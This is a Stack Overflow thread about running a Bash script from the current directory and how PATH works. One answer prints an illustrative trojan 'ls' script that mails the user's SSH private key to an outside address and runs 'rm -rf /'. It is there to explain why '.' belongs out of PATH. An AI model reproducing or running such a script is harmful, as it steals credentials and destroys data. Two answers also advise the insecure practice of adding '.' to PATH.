2

I have a Bash script on my desktop called highest.

If I run:

cd ~/Desktop
highest

I get: Command not found

But if I run:

~/Desktop/highest

It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?

I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.

6
  • 1
    Isn't bash considered a programming language? Not sure why this is getting voted to move to superuser.. can someone explain? Commented Jun 29, 2010 at 17:47
  • 4
    You should not add . to your PATH. It's a security risk. Commented Jun 29, 2010 at 22:10
  • @John: Yes, but it has nothing to do with programming per se. highest could be any bash script, you didn't even declare you wrote that script. Commented Jun 30, 2010 at 17:50
  • Try ./highest instead once your in the desktop directory. Commented Jun 30, 2010 at 17:56
  • This is a good question. This comes up frequently with new users, as well as with experienced programmers who never quite got used to Unix, or who stubbornly stick to their old routines. Commented Jun 30, 2010 at 18:21

5 Answers 5

7

I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .

For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" [email protected] >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" [email protected] >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.

Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

  1. Add your own ~/bin directory, and place your own binaries in there.

    mkdir ~/bin
    vi ~/bin/highest
    
  2. Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

    export PATH=$PATH:~/bin

  3. To verify that highest is your path, do this:

    bash$ which highest
    /Users/stefanl/bin/highest
    
Sign up to request clarification or add additional context in comments.

Comments

3

Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.

Comments

1

The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:

export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"

1 Comment

The best thing you can do is just get used to using ./highest I'll put that in my routine. Thanks.
1

Don't change PATH, simply move or symlink the script to some standard location, e.g.

mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest

If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.

Comments

-2

You would need to add the local directory to your path:

PATH=$PATH:.
export PATH

This can be done in your .profile or .bash_profile to always set this up whenever you login.

Also, as a matter of course, you can run the command with the current directory marker:

./highest

as well.

Of course there are security implications as noted below by many MANY users, which I should have mentioned.

5 Comments

Just for the session unless you add those two lines to your profile script. This is a script that is located in your home directory as either .profile or .bash_profile. This script gets run everytime you start a new session and you can setup persistant session environment changes there to always occur when you login (under most circumstances...there are times it would not).
Don't add the current directory '.' to the $PATH as it poses a security risk!
-1: Don't add '.' to $PATH! Major security risk! Why was this accepted?
There IS a reason that this is not done by default. If you add . to your path, and then you execute say, ls, what if there is a malicious program in that directory called 'ls'? That one will be executed instead of /bin/ls. Don't change your $PATH. Just run ./command to execute a file in the current directory, as the Gods of Bash intended.
More pragmatically, you should get used to ./ because otherwise every time you used a new Linux system or reinstalled you'd have to edit the login profile, which may not even be for a bash shell. Better just type ./ and never have to change your routine or figure out why it's not working or how to fix it again in the future.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.